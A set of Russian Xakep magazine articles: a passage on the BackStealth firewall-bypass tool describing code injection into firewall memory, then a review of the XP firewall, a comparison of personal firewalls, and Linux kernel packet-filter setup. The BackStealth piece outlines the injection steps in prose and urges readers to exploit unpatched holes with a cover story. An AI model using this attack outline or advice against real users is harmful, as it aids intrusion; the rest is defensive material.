Сам автор решил не сильно распространяться о механизме работы своей программы и сообщил лишь следующее: "BS использует Win API функцию VirtualAlloc, чтобы разместить необходимый для исполнения код в памяти, которую ОС выделила файрволлу. Таким образом, при обращении к сети и ОС, и файрволл думают, что в Интернет лезет сам файрволл!"

Действительно, если запустить эту прогу под файрволлом (мы пробовали это на каждом файрволле из предлагаемого списка), то в списке открытых соединений реально будет прописан работающий файрволл. (Список открытых соединений можно просмотреть командой "netstat -an" или с помощью любой графической утилиты, например, TCPview: www.sysinternals.com/files/tcpview.zip)

Кажись, все ясно, прога маскируется под файрволл и пытается выдать себя за его часть. Но на самом деле автор немножко схитрил. Что будет, если запустить BackStealth под любой последней версией файрволла (было бы глупо думать, что разработчики никак не отреагируют на такую дырку)? Очень просто, BS отыщет сторожа и попытается в него внедриться; так как разработчики уже что-то там поменяли, у нашего ренегата ничего не получится. Появится ошибка: VirtualAllocEx failed:120.

Содержание  Вперед на стр. 024-030-2


 

Хакер №024. Спецвыпуск


BACKSTEALTH

удар в спину

Спецвыпуск Xakep, номер #024, стр. 024-030-2

Ну что ж. Запускаем MSDN и смотрим, что это за функция и где она живет. Видим, данная функция позволяет работать с памятью, уже занятой другим процессом. В отличие от VirtualAlloc, которая управляет памятью, еще никому не выделенной или выделенной своему процессу. Создатель "случайно" перепутал функции?

LPVOID VirtualAllocEx(

HANDLE hProcess, // дескриптор процесса;

LPVOID lpAddress, // начальный адрес выделяемой памяти;

SIZE_T dwSize, // размер выделяемой памяти;

DWORD flAllocationType, // вид выделения памяти;

DWORD flProtect // вид защиты при работе с данной памятью.

);

Обрати внимание на последний формальный параметр функции. Он может принимать несколько значений, позволяющих либо полностью защитить выделенную память от чтения/записи, либо сделать это частично. Видимо, разработчики файрволлов не обратили на flProtect особого внимания и использовали память, не защищая ее от вторжения. Теперь же попытка обращения к защищенной памяти приводит к ошибкам или исключениям.

Также интересным является тот факт, что функцию VirtualAllocEx не поддерживают Win95/98/ME, хотя VirtualAlloc поддерживается всеми ОС.

Теперь становится почти прозрачным алгоритм работы BS:

1. Сканируем память и ищем запущенные файрволлы.

2. Внедряемся в их память (благо дома можно с помощью отладчика подобрать все размеры памяти либо адреса дескрипторов или сами дескрипторы файрвольных процессов).

3. Записываем свой небольшой кусочек кода, скачивающий наш файл. Можно либо поместить его в оставшееся свободное место в памяти (ты же помнишь, что память выравнивается по параграфам для ускорения обращения к ней), либо на занятое место процесса так, чтобы ОС не зависла.

Примечательно, что представитель компании Symantec заявил, что их пользователям данная программа не страшна, так ее еще на момент запуска отловит Norton Antivirus. В принципе, это самый верный подход, ведь фаерволл не может защитить сам себя от внутреннего вмешательства. Хотя эту дыру уже залатали (мы проверили работоспособность проги на САМЫХ последних версиях файрволлов - BS везде проваливается с треском), можно найти и новые. А вот антивирус здесь в самый раз. Если софтина ищет что-то в памяти и начинает прыгать по чужим процессам - значит она вирус или, в крайнем случае, просто подлежит уничтожению.

Другие компании отреагировали проще: втихую поменяли какие-то свои параметры и выпустили новые версии своих продуктов.

Обрати внимание, что всеми любимые ZoneAlarm Pro и Agnitum Outpost оказались на высоте - у них врожденный иммунитет к этой программе. Видимо, у автора просто не дошли руки до них...

Что касается BS, то тут можно согласиться с BugTraq, который на странице, посвященной творению Паоло, написал просто: "Дискуссия закрыта".

Мы же возвращаемся к нашим баранам: чтобы обойти файрволл, нужно найти в нем дырку, заслать свою прогу-эксплоит и придумать легенду, чтобы ее запустили. Самым сложным моментом является поиск дырок. Не все способны кодить в ring 0 или на низком осевом уровне, но посещать сетевые проекты, посвященные безопасности, может каждый. Опыт показывает, что 75% пользователей и сисадминов не реагируют на новые сообщения о дырках и ошибках. Поэтому единственное, что тебе нужно, - отыскать дыру среди вновь найденных и правильно ею воспользоваться. Вывод прост - чаще посещай www.xakep.ru, а конкретно - его раздел BugTraq, и не забывай поглядывать на www.securityfocus.com (там иногда тоже полезное лежит).

Назад на стр. 024-030-1  Содержание


 

Хакер №024. Спецвыпуск


ВСЕОБЩАЯ ИНТЕГРАЦИЯ

предохраняемся средствами XP

Спецвыпуск Xakep, номер #024, стр. 024-032-1

Roman AKA Docent (docentmobile@yandex.ru)

Работники Microsoft, похоже, решили подмять под себя всех мыслимых и немыслимых конкурентов. Поэтому с каждой новой версией Окон ты можешь наблюдать, насколько расширяется арсенал включаемых в них прог, заменяющих многие программы других производителей, которые раньше нужно было ставить отдельно. К примеру, заменитель ICQ - Messenger (которым они обещают затмить популярность системы ICQ) или интерфейс для записи дисков, позволяющий обойтись без внешней программы вроде DirectCD, и даже Web-сервер IIS - это и многое другое, хочешь ты этого или нет, тебе без лишних вопросов поставят вместе с Windows XP. Видимо, скоро достаточно будет поставить на твою тачку один лишь Windows и больше не придется ставить ничего другого (только не это, шеф! - прим. ред.). Про то, сколько все эти прелести будут занимать места и сколько сожрут ресурсов, страшно, пожалуй, даже подумать (ты уже сейчас можешь это увидеть, если поставишь XP на несильно навороченную тачку). Особенно учитывая тот факт, что мелкомягкие изо всех сил стараются свести манипуляции пользователя при установке этой оси к критическому минимуму и избавить от такой бесполезной, на их взгляд, функции, как возможность выбрать компоненты для установки. А вот избавиться от некоторых ненужных тебе программ по окончанию установки иногда бывает очень трудно, вспомни хотя бы, как ты выковыривал IE из Windows 98, ведь без него окошки работали куда шустрей, а в качестве браузера можно было использовать Opera или Netscape. Я вот только недавно смог избавиться от пресловутого Messenger'а - не знаю, как ты, но Асю я ни на что не променяю. То же самое касается и брандмауэра, встроенного в XP, о котором, собственно, и пойдет речь.

ДЕСКРИПШН

Итак, в XP встроен пользовательский файрволл, напоминающий чем-то старый добрый ATGuard (который, кстати, никуда не исчезал, а просто входит сейчас в состав Norton Internet Security), но с меньшим набором возможностей. Конечно, для защиты корпоративного сервера или чего-то более серьезного, чем домашняя или офисная тачка или небольшая сеть, он вряд ли подойдет. Но для мирных домашних (и офисных) целей вполне покатит, если, конечно, ты не ярый любитель сетевых разборок с применением тяжелых вооружений. Ведь основной принцип защиты основан на том, что прога не только закрывает порты, но и делает твою машину невидимой в сети; так ее вряд ли удастся обнаружить сетевым сканером (впервые эта фича появилась в Outpost'e, а теперь ее юзают все, кому не лень - прим. ред.). Хотя, как можно предположить, у этого есть и свои отрицательные стороны, так как некоторые нужные сервисы могут оказаться неработоспособными при таких условиях. Поговорим о том, как лучше и логичней настраивать это средство. ХР-шный файрволл можно настроить индивидуально для каждого соединения, то есть, если тебе в домашней сети нужно запретить доступ к некоторым сервисам, а в Инете ты активно их юзаешь, то, соответственно, в настройках соединения для домашней сети их можно отключить, но оставить включенными для соединений с Инетом (кстати, эту функцию поддерживают далеко не все пользовательские файрволлы). Плохо это или хорошо -решать тебе; с одной стороны - это удобно, с другой - много лишнего гимора, так как, возможно, придется выполнять двойную работу для каждого из соединений. Кроме того, если твоя тачка является сервером и все компьютеры сети соединены с Инетом через нее, то можно защитить их и распределить их обязанности, настроив правила для каждого: вот этот компьютер будет HTTP/FTP сервером, а этот почтовым и т.д.

Содержание  Вперед на стр. 024-032-2


 

Хакер №024. Спецвыпуск


ВСЕОБЩАЯ ИНТЕГРАЦИЯ

предохраняемся средствами XP

Спецвыпуск Xakep, номер #024, стр. 024-032-2

Настроить файрволл для любого из соединений очень просто. Дело в том, что у него нет практически никакого интерфейса :). Войди в свойства соединения и выбери вкладку «дополнительно». В этой вкладке поставь флажок «защитить мое подключение» и нажми кнопку «параметры». Там ты увидишь список различных служб и протоколов, для каждого из которых можно задать свои правила, а также указать сетевое имя или IP машины в сети, на которой данная служба работает. В списке уже есть наиболее распространенные службы, такие, как HTTP, FTP, Telnet и POP3/SMTP. Но если тебе нужно настроить правила для чего-то другого, то можно задать все самому, с этим проблем нет.

По умолчанию любые службы и сервисы будут запрещены, пока ты не пометишь их флажком и не выберешь соответствующие параметры. Например, если на твоей тачке (или на любой другой в твоей сети) нужно разрешить работу с протоколом HTTP, то помечай ее флажком и указывай в ее свойствах сетевое имя или IP своей тачки или той, на которой эта служба требуется. Во вкладке «ведение журнала безопасности» можно указать, нужно ли записывать логи и куда их сохранять. При этом есть возможность получить информацию о пропущенных пакетах и успешных соединениях.

И еще одна полезная функция - это настройка правил для ICMP пакетов. По умолчанию они тоже являются заблокированными, и до твоего компьютера при такой настройке не пройдет даже ping-запрос (как раз та самая «плохая» невидимость, о которой я уже упоминал).

БИЛЕТ В ОДИН КОНЕЦ

Самый большой недостаток и, собственно, причина, по которой лично я не юзаю это средство самообороны, так это то, что ХР-шный файрволл позволяет защищать порты лишь для входящих соединений. А вот любая программа или сервис могут без проблем заюзать любой порт на твоей тачке и передавать через него пакеты, не спросив у тебя разрешения. Это значит, что любой засланный троянец может открыть свой порт и передать через него любые данные своему хозяину. То же самое касается и подмены экзешника - ему плевать, какой размер или версия у файла. Конечно, залетный кулхацкер может быть и не получит доступ к открытому трояном порту и не сможет тебя админить, но если он не ламер, ничто не помешает ему грамотно настроить свою лошадку. И тогда она принесет хозяину все что нужно и без его непосредственного вмешательства. Не буду упоминать даже банальное отсылание твоих данных на мыло - от этого вообще может спасти только твоя бдительность. Как вариант - вполне возможно, что троянец просто пропишет свой порт как открытый в настройки программы, и, пока ты этого не заметишь, злобный хаксор сможет юзать этот порт как ему вздумается - но это в принципе можно сделать практически с любым файрволлом, если знать, как он устроен.

Назад на стр. 024-032-1  Содержание  Вперед на стр. 024-032-3


 

Хакер №024. Спецвыпуск


ВСЕОБЩАЯ ИНТЕГРАЦИЯ

предохраняемся средствами XP

Спецвыпуск Xakep, номер #024, стр. 024-032-3

Еще один момент. Предупреждение о запросе на открывание каким-либо сервисом, какого-либо порта ты вряд ли получишь, чего не скажешь о большинстве других файрволлов. Единственное, что ты можешь сделать с исходящими соединениями, это почитать логи и узнать, что, куда и через какой порт передавалось («передавай привет мамочке!»).

Кроме всего прочего, разработчики не рекомендуют использовать этот файрволл в локалке без выхода в Инет, так как это может нарушить обмен данными между компами в этой сети. Так что в локалке, особенно если она у тебя большая, этот файрволл особо не сможет тебе помочь.

Отсутствие блокировки исходящего трафика, невозможность тонкой настройки, отсутствие предупреждений и возможные конфликты с сетевыми сервисами - вот основные слабые моменты этого файрволла.

НЕ ХЭППИЭНД

Не знаю, как ты, а я по-прежнему буду юзать свой Norton Internet Security (aka ATGuard), который тоже не является эталоном безопасности, но все же не раз меня спасал от всяческих сетевых атак и бесцеремонных вторжений. А однажды он даже обнаружил троянца, которого пропустил даже хваленый AVP - но это уже совсем другая история...

Назад на стр. 024-032-2  Содержание


 

Хакер №024. Спецвыпуск


ПЕРСОНАЛЬНЫЕ FIREWALL'Ы ДЛЯ WIN

утепление окон на зиму,

Спецвыпуск Xakep, номер #024, стр. 024-034-1

недорого

Скрыпников Сергей aka Slam (slam@soobcha.org)

Скажи мне, у тебя есть Firewall? Что это такое, спросишь ты? Ну, тогда тебе в рубрику "FAQ" нашего журнала. А пока ты ползаешь в факах, я расскажу о самых надежных и популярных Firewall'ах для всеми нами уважаемой и почитаемой Windows.

Ты, наверное, догадываешься, что мы живем в XXI веке - веке цифровых технологий. И защита информации - одна из самых важных задач человечества в целом (будь то защита от самих себя или от инопланетян =)). Согласись, не каждый может позволить себе выложить порядка 3000$ за защиту своей информации, купив профессиональный аппаратный файрволл. А людей, которым просто хочется навредить кому-то, в сети меньше не становится, но когда они наткнутся на твою стену, то, скорее всего, пойдут искать тебе другую жертву. Или вообще забьют на хаксорство :).

В тестировании принимают участие:

Tiny Personal Firewall

ZoneAlarm Pro

NeoWatch

Outpost Firewall

Anti-Hack

BlackICE Defender

TermiNet

Sygate Personal Firewall Pro

Tiny Personal Firewall

Язык: English

Качать: http://www.kodsweb.ru/dwn/netsecurity/tinypf2015.exe

Размер: 1384 Кб

Freeware

Ось: all win32

Очень неплохой файрволл. Имеет три состояния своей работы:

1) Сеть полностью недоступна - полезна тем, у кого выделенка (например, ты пошел есть пирожки, а к тебе никто не смог проникнуть, т.е. полностью уверен в том, что придешь туда, откуда ушел =)).

2) Файрволл будет тебя спрашивать при каждом подключении к порту: разрешить или нет. Но если ты сидишь, допустим, в ICQ, то у тебя сдадут нервы, для этого придумана галочка "Don't ask me again", ставишь галку и разрешаешь или запрещаешь действие - и все. Больше подобных вопросов не будет.

3) Все, что не запрещено - разрешено ;). Так вот можно сказать о третьем режиме работы данной проги.

Если ты хочешь добиться абсолютного максимума безопасности для своей машины с помощью этой программы, то тебе придется немного повозиться в настройках, которые в основном касаются того, чтобы запретить весь диапазон IP адресов или только один адрес, запретить выход для данной проги только на один порт или на все. В общем, ничего трудного я не увидел.

Все попытки трояна на выход в сеть Tiny сразу же пресекал и оставил самые хорошие впечатления.

Итог: Для обычного домашнего пользования очень и очень неплох. В настройках разберется даже младенец. К полезностям можно добавить то, что при работе под NT может писать все в syslog =). Сисадмины в восторге!

ZoneAlarm Pro

Язык: English

Качать: http://www.kodsweb.ru/dwn/netsecurity/zapro26362.exe

Размер: 3215 Кб

Shareware

Ось: all win32

Это файрволл понравится тем, кто любит, чтобы все хорошее было красивым. Надеюсь, ты и сам можешь увидеть это на скриншоте выше.

Из обычных файрвольных функций присутствуют почти все. При инсталляции программа спросит тебя, хочешь ли ты сразу разрешить своему браузеру выходить в Интернет; советую ответить "Yes", т.к. в дальнейшем все равно придется создавать для него правило. При попытке программы соединиться с Интернет, ZoneAlarm тут же оповестит тебя об этом и предложит тебе два варианта: разрешить исходящий трафик или блокировать. Также существует галочка "Remember this answer the next time I use this program" (напомни мне этот вопрос в следующий раз, когда я буду использовать эту программу), которая по дефолту не нажата, что очень удобно.

Содержание  Вперед на стр. 024-034-2


 

Хакер №024. Спецвыпуск


ПЕРСОНАЛЬНЫЕ FIREWALL'Ы ДЛЯ WIN

утепление окон на зиму,

Спецвыпуск Xakep, номер #024, стр. 024-034-2

Можно выставить режим автоматической блокировки всего входящего\исходящего трафика, например, когда нету интернет-активности в течение 10 мин или когда включается Screen Saver. Файрволл удачно прячет последний сегмент твоего IP адреса, блокирует все не IP-пакеты (что полезно при ДОС-атаке на тебя - прим. ред.), ведет логфайл, проверяет себя на обновление и делает еще кучу всякого полезного (ловит, например, вирей во входящем мыле).

Как и предыдущий конкурент, ZA сразу засек трояна и не дал ему пробиться в Интернет.

Ах да, забыл добавить, что при стандартной замене iexplore.exe на telnet.exe firewall вежливо сказал мне, что файл изменился с момента последнего его запуска. Приятно.

Итог: получился хороший, добротно сделанный файрволл, который можно использовать уже не только для домашних и личных целей, но и в офисе, для защиты корпоративной сетки.

NeoWatch

Язык: English

Качать: http://www.kodsweb.ru/dwn/netsecurity/neowatch23.exe

Размер: 1566 Кб

Shareware

Ось: all win32

Чтобы не мотать тебе нервы одним и тем же, скажу, что NeoWatch умеет делать все, что может понадобиться дома. Про ведение лога, настройку безопасности и т.п. я говорить не буду.

Из полезного отмечу, что при помощи функции Trace Firewall может показать тебе на карте то место, откуда тебя только что пинганули. Только сначала тебе нужно указать свое место жительства, но если ты живешь в Козлопердуйске, то лучше укажи самый близкий к тебе большой город, тогда ты сможешь увидеть все в нормальном цвете =).

Если ты не знаешь что такое Ping или Flood, то при помощи пимпы "More information" в логе ты сможешь про все это подробно почитать в системе помощи. Но плохо то, что помощь эта вся в Интернете и обязательно нужно быть в онлайне ;(, и если у тебя проблемы с английским, то лучше ею не пользоваться.

Если тебя кто-то пытается просто пропинговать, то файрволл тут же сообщит тебе об этом на бросающемся в глаза попапе, где будет информация об обидчике, включая его IP адрес.

Ты сразу же можешь занести его в Banned List. Также файрволл выдаст тебе всю информацию о том, кто и что у тебя сканирует.

Например, если кто-то сканирует тебе 5000 порт, то NW тут же выдаст тебе окно со всей инфой, включая то, где обычно используется данный порт и чем это опасно.

Итог: Красивый, удобный в настройке, понятный даже новичку файрволл. С большим количеством действительно полезных функций, и если добавить сюда еще ведение лога с возможностью фильтрации и печати отчета, то получается очень полезная в хозяйстве вещь!

Outpost Firewall

Язык: русский, но можно и другой

Качать: http://www.agnitum.com/download/OutpostProInstall.exe

Размер: 2577 Кб

Shareware (но есть и Freeware)

Ось: all win32

Начну с того, что OF признан лучшим файрволлом года! Это уже о многом тебе должно сказать. В природе существует как полнофункциональная платная версия (о ней я тебе и расскажу), так и полностью Freeware. Первое, что бросается в глаза - это полностью русифицированный интерфейс, так что с настройками у тебя проблем возникнуть не должно.

Назад на стр. 024-034-1  Содержание  Вперед на стр. 024-034-3


 

Хакер №024. Спецвыпуск


ПЕРСОНАЛЬНЫЕ FIREWALL'Ы ДЛЯ WIN

утепление окон на зиму,

Спецвыпуск Xakep, номер #024, стр. 024-034-3

Этот файрволл имеет функции всех вышеперечисленных, но... Просто так файрволлом года не станешь, у него есть туча приятных фич внутри :). Из особых полезностей хочу выделить блокировку Куков и АктивХ элементов, так что теперь можно быть немного спокойнее за сохранность своей анонимности в то время, когда ты бродишь по сети.

Встроенная резалка рекламы. "А, такое мы уже видели", - скажешь ты. Но не тут-то было, т.к. Аутпост режет рекламу разными способами, как то: не загружает картинки заданных размеров (например, популярные баннеры 100*100 и т.п., в поставке проги уже есть стандартный набор правил для обрезания =)), но ты можешь как удалять, так и добавлять свои. Еще можно заблокировать графику\рекламу по ключевым строкам в коде HTML, в итоге все эти действия существенно повысят скорость загрузки страничек, притом что ничего полезного ты пропустить не должен (а кто-то нам говорил про ускорялки Интернета...).

Еще одна замечательная фича пригодится в большинстве своем родителям или системным администраторам. Она позволяет блокировать загрузку страниц как по ключевым словам, так и по названию самого сайта. "Теперь ваши детки не будут лазить по вкусным сайтам!" - так можно обозвать эту возможность OF. Самой же главной отличительной чертой этого файрволла от других является открытость архитектуры, за счет чего можно создавать различные плагины ("подключаемые модули" в жаргоне программы). В стандартный набор входят уже шесть плагинов, которых должно хватить на все случаи жизни: Детектор атак, Защита файлов, Блокировка рекламы, Блокировка содержимого страниц, Кеширование DNS (для еще более быстрой загрузки страниц) и Блокировка активного содержимого, куда входят блокировка куков, АктивХ компонентов, всплывающих окон и т.п.

Все действия, производимые файрволлом, тут же записываются в лог и выводятся на экран, так что ты можешь без напрягов наблюдать за ней.

И что еще замечательно, так это то, что для каждого сетевого приложения можно настроить свои правила работы в Интернете: к примеру, если ты пользуешься несколькими браузерами, то данная фенька тебе очень пригодится.

При тестировании файрволл с легкостью заметил, что троян хочет проникнуть в Интернет и что мою машину кто-то усиленно сканирует. И начал злостно орать, когда я попытался заменить файл iexplore.exe на telnet.exe.

Итог: Must Have однозначно! Мой выбор!

СОСКРЕБЕМ НАКИПЬ

Это, так сказать, лидеры в желтых майках. Я хочу сказать тебе, что больше в Интернете я на данный момент не нашел достойных к рассмотрению файрволлов! Я не стал придерживаться такой тактики, как "Что найдешь, то и опиши", т.к. в последнее время обзоры стали немного скучнее - пара-тройка программ супер, а остальные описаны как фуфлыжные. Так зачем их описывать, если все равно пользоваться ими никто не будет!? Такие проги, как AtGurad, ConSeal PC Firewall, я рассматривать не стал по причине того, что уже староваты они - сами на ногах не держатся.

Назад на стр. 024-034-2  Содержание  Вперед на стр. 024-034-4


 

Хакер №024. Спецвыпуск


ПЕРСОНАЛЬНЫЕ FIREWALL'Ы ДЛЯ WIN

утепление окон на зиму,

Спецвыпуск Xakep, номер #024, стр. 024-034-4

Остальные тестируемые мною FireWall'ы не справились с большинством из поставленных задач, а они были, если ты забыл:

1) замена файла iexplore.exe на telnet.exe;

2) попытка трояна (Dd2) вырваться в Интернет;

3) сканирование портов на моей машине;

4) сокрытие от посторонних глаз IP адреса.

Итак, лажанувшиеся:

Net Sentinel

Очень странная прога. При попытке трояна вылезти наружу она никаких предупреждений не выводила (записи в лог не было), но трафик блокировала; при попытке просканировать мои порты опять же никаких Alert'ов не выводила, но делала систему недосягаемой. Если кому-то интересно узнать, что это такое, то качать здесь: http://www.kodsweb.ru/dwn/netsecurity/netsentinel204.zip (2014 Кб).

В мой совсем черный список попали:

Anti-Hack (некоторые порты оставались открытыми)

BlackICE Defender (сокрытие IP не работало)

TermiNet (сокрытие IP не работало + открыты некоторые порты)

Sygate Personal Firewall Pro (сокрытие IP не работало)

Ах, да. Я ничего не сказал про легендарный Jammer. Файрволл заслуживает места на твоем компьютере, но учти, что на данный момент почти все антивирусы воспринимают его как вирус =). Так что не пугайся, если что!

Качать тут: http://online.download.ru/Download/[ProgramID=1296] (1095 Кб).

Запомни, что ненастроенный файрволл - огромная дыра в твоей машине! И еще, сверху я привел список параметров для тестирования файрволлов, так вот - это САМЫЙ минимум, который должен выполнять твой персональный файрволл!

На этом все. Надеюсь, что скоро твоя система станет неприступной крепостью!

Первый шагом по настройке файрволла будет получение ясного представления для тебя, чего именно ты ожидаешь от его работы. В будущем это даст возможность сравнить результаты тестирования и имевшиеся до этого ожидания и таким образом оценить величину имевшейся ошибки.

Убедись в безопасности файрволла в плане физического доступа к нему посторонних лиц. Если с этим проблемы, то весь остальной труд напрасен.

Следующее, используемая ОС сама по себе должна быть достаточно грамотно настроена в плане безопасности. Но т.к. мы рассматриваем виндовые файрволлы, то лучшим выбором будет, на мой взгляд, Windows NT/2К.

Следующий шаг - сканирование портов файрволла как со стороны внутренней сети, так и со стороны Internet (icmp, udp, tcp) для определения открытых портов. Большинство правильно сконфигурированных файрволлов не имеет открытых портов. Более того, они игнорируют ICMP-пакеты, приходящие из внешней сети.

Работать должно всего несколько служб. Без крайней необходимости порты не должны открываться.

Необходимо руководствоваться правилом: запрещено все, что не разрешено, а не правилом - разрешено все, что не запрещено. Поэтому база правил должна начинаться с правила, запрещающего любой трафик (Режим полной блокировки), входящий и исходящий. Остальные правила должны идти за этим основным. После проверки базы правил firewall'а проверь его логи. Определил ли firewall проводившееся сканирование и давал ли он соответствующие сигналы (alerts).

Назад на стр. 024-034-3  Содержание  Вперед на стр. 024-034-5


 

Хакер №024. Спецвыпуск


ПЕРСОНАЛЬНЫЕ FIREWALL'Ы ДЛЯ WIN

утепление окон на зиму,

Спецвыпуск Xakep, номер #024, стр. 024-034-5

Какой трафик и каким образом был записан в логи. Если файрволл не зафиксировал большую часть активности во время тестирования его настроек, это свидетельствует о наличии серьезных проблем. Степень безопасности, которую дает применение файрволла, прямо пропорциональна тщательности, с которой он был настроен.

Назад на стр. 024-034-4  Содержание


 

Хакер №024. Спецвыпуск


ЯДЕРНЫЕ РЕАКЦИИ-настройки кернела для файерволлинга

ViTLS (vitls@beshtau.ru)

Спецвыпуск Xakep, номер #024, стр. 024-038-1

Добро пожаловать в ядерный реактор! Наверное, так следует поприветствовать начинающего монстра компьютерного мира, к которым ты себя причисляешь. Причем тут ядерный реактор?! Да ни при чем! А вот на ядре aka kernel стоит остановиться.

ЧТО К ЧЕМУ

Ты уже в курсе, что, для того чтобы ты смог защитить свою раздолбанную систему или сеть от нашествия всяких гнусных парней, нужно поставить firewall. Файрволлы бывают разных типов, в том числе и такого весьма забавного, как пакетные фильтры. У тебя есть возможность прочесть про них, но... там не рассказано о некоторых заморочках, с которыми тебе придется столкнуться. Перед применением пакетного фильтра тебе придется повозиться с самым сердцем твоей операционной системы - с ядром.

Я тебе не буду рассказывать про такую шнягу, как Windows. Это все пошло и неинтересно. Да, там можно быстро поставить программку фильтра трафика, только вот никто тебе не даст никакой гарантии, что она сама окажется без дырок. И никто тебе не даст гарантии, что эта фигня будет работать именно так, как задумал ты сам.

В операционной системы Linux все совсем по-другому. Подобно многим настоящим nix'ам, внутри Linux содержится система защиты. Тебе остается только активировать ее, настроить и задать правила фильтрации. После всех этих извращений ни одна сволочь к тебе не прорвется.

ПРОГУЛКА ПО ЯДРАМ

Как и любая нормальная система, Linux развивалась от версии к версии. Если быть откровенным, то самые первые версии ОС были очень слабы и неразвиты и представляли собой лишь полигон, на котором талантливые кодеры проводили свои эксперименты. Лишь с версии 2.0 Linux полноценно пошел в массы.

Номер версии ядра состоит из трех чисел в виде х.y.z (главный номер версии, вторичный номер версии, номер релиза). Главный номер, по сути, является номером поколения ядра. Вторичный номер (номер ветки) означает смену технологии внутри поколения, ну а номер релиза говорит об очередном шаге в улучшении и развитии ядра данного поколения. Чем выше номер релиза, тем лучше ядро данной ветки.

В литературе и в Сети говорят о ветках 2.0.х, 2.2.х и 2.4.х. Ты, наверное, заметил, что вторичный номер у них четный. Дело в том, что ядра с нечетными вторичными номерами являются экспериментальными и очень часто неработоспособны - они предназначены только для разработчиков ядер или для экстремалов.

Про ядра 2.0.х я говорить не буду. Компьютеры под управлениям этих ядрышек практически не встречаются и интереса не представляют. В настоящее время на серверах крутятся ядра веток 2.2.х и 2.4.х. Пакетные фильтры, встроенные в них, очень похожи (впрочем, ничего удивительного - iptables, встроенный в 2.4.х, является потомком ipchains из 2.2.х).

НАЧИНАЕМ КОВЫРЯНИЕ В МОЗГАХ

Прежде чем ты сможешь воспользоваться мощной защитой пакетного фильтра, тебе ее надо предварительно включить в состав твоего ядра. Для этого тебе нужны:

а) исходные тексты ядра Linux;

б) компилятор gcc;

в) текстовый редактор.

Способ установки исходных текстов ядра зависит от того, какой дистрибутив у тебя установлен. Если у тебя Slackware, Gentoo, LFS или еще что-то в этом роде, то мне нефига тут перед тобой распинаться. Ты и сам знаешь, что и как устанавливается (иначе как ты воткнул себе этот дистриб?).

Содержание  Вперед на стр. 024-038-2


 

Хакер №024. Спецвыпуск


ЯДЕРНЫЕ РЕАКЦИИ-настройки кернела для файерволлинга

ViTLS (vitls@beshtau.ru)

Спецвыпуск Xakep, номер #024, стр. 024-038-2

В случае rpm-based дистрибутивов (ALT Linux, ASP Linux, Red Hat, Mandrake, SuSE, Connectiva) тебе нужно будет установить пакеты с исходниками ядра и всеми причиндалами. Отдельная песня - дистрибутивы на основе пакетов deb (Debian, Corel), там проще - система установки, принятая в них, существенно облегчает установку нужных пакетов.

В общем случае установка rpm-based дистрибутива в режиме разработчика автоматически подразумевает установку компилятора и исходных текстов ядра.

Ядро Linux ты также можешь скачать с ftp.kernel.org. На этом ftp-сервере лежат чистые ядра от разработчиков без каких-либо заплаток и доработок от изготовителей дистрибутивов (кстати, хорошо настроенное чистое ядро иногда работает гораздо лучше, чем ядро от изготовителя дистриба).

Сам я пользуюсь дистрибутивами Mandrake Linux 7.0 (на самосборном ядре 2.2.20) и ALT Linux Master 2.0 (на штатном ядре 2.4.18). В любом случае, какой бы дистрибутив ты ни выбрал, настройка и компиляция ядра ничем отличаться не будут.

Ок, допустим, что у тебя все получилось, и ты таки установил требуемые компоненты. Посмотрим внутрь. Хочу предупредить, что все действия нужно совершать очень аккуратно, потому что ты будешь работать под root'ом.

В комплект ядра входит несколько утилит настройки. Простая текстовая, красивая текстовая и красивая графическая. Запуск каждой из них производится из командной строки.

Графическая программа настройки ядра будет работать, только если ты ее запустил из терминала, работая с Х сервером. Для запуска программ настроек тебе надо будет перейти в каталог /usr/src/linux.

Простая текстовая настройка выглядит не фонтан. По сути дела это набор вопросов, на которые ты должен будешь отвечать Y, N или M. Это означает, опция ядра включена или вкомпилена в ядро (Y), опция выключена (N) или будет собрана как модуль (M). На рис. 1 показано, как это выглядит. Одна ошибка в ответе, и тебе придется все начинать с самого начала. Простая текстовая настройка запускается командой make config.

Красивая текстовая программа настройки требует наличия на твоем компе библиотеки ncurces. Так что проследи, чтобы эта хреновина у тебя была установлена. Запускается она выполнением команды make menuconfig. На рис. 2 показан вид этой проги.

Первый и второй режимы настройки ядра прекрасно работают в текстовой консоли.

Ну и третий вид. Графическая программа настройки ядра требует наличия у тебя языка программирования tck/tk и всех причиндалов к нему. Зато под Х это выглядит просто суперски (смотри на рис. 3). Запускается она из терминала командой make xconfig.

Преимущества второй и третьей программ настроек заключается в том, что ты в любой момент можешь включить или выключить любую опцию и только потом записать конфигурацию. Конфигурация ядра записывается в файл /usr/src/linux/.config. Все настройки лежат там в виде "параметр = значение". На рис. 4 как раз виден кусок файла конфигурации, отвечающий за настройки пакетного фильтра.

Назад на стр. 024-038-1  Содержание  Вперед на стр. 024-038-3


 

Хакер №024. Спецвыпуск


ЯДЕРНЫЕ РЕАКЦИИ-настройки кернела для файерволлинга

ViTLS (vitls@beshtau.ru)

Спецвыпуск Xakep, номер #024, стр. 024-038-3

Названия нужных тебе параметров ты можешь отрыть в подсказке программ настройки. На рис. 5 параметр выделен черным.

Список параметров, которые необходимы для настройки пакетного фильтра, а также подробное разъяснение, для чего это все нужно, находятся в документе Iptables-tutorial (http://gazette.linux.ru.net/rus/articles/iptables-tutorial.html). Я тебе настоятельно рекомендую его изучить. Если у тебя ядро 2.2.х, то тебе понадобится документ Ipchains-HOWTO. Его русский перевод есть на сайте linux.org.ru в разделе документы. Пересказать эти доки здесь нет никакой возможности, так что грызи их сам, как истинный никсоид.

ЧТО ПОЛУЧАЕМ

После того как мы закончили настройку параметров ядра, его надо собрать. Я тебя хочу предостеречь, чтобы ты не давил Y на все нужные тебе опции. Дело в том, что куски кода, отвечающие за работу тех или иных опций, будут включены в ядро, и оно станет очень большим, что может привести к траблам с компиляцией. Проще отобрать фишки, используемые непостоянно, и оформить их в виде модуля. Потом этот модуль ты сможешь сам включить или выключить в любое время. Ядра от производителей практически все содержат именно в виде модулей. Так удобнее.

Для сборки ядра тебе нужно выполнить команды:

make dep

make bzImage

make modules

make modules_install

make install

Последняя команда установит ядро. Короче, всю эту науку прочитаешь в Kernel-HOWTO.

Гораздо удобнее воспользоваться ядром, идущим с дистрибутивом. Зачастую, там даже не нужны исходные тексты и не нужно пересобирать ядро самому, чтобы настроить его по своему вкусу. Практически все опции ядра делаются в виде модулей, и тебе остается только включить нужные.

Для ядер 2.4.х модули, отвечающие за пакетный фильтр, лежат в каталоге /lib/modules/2.4.x/kernel/net/ipv4/netfilter. Для ядер 2.2.х - /lib/modules/2.2.x/net/ipv4.

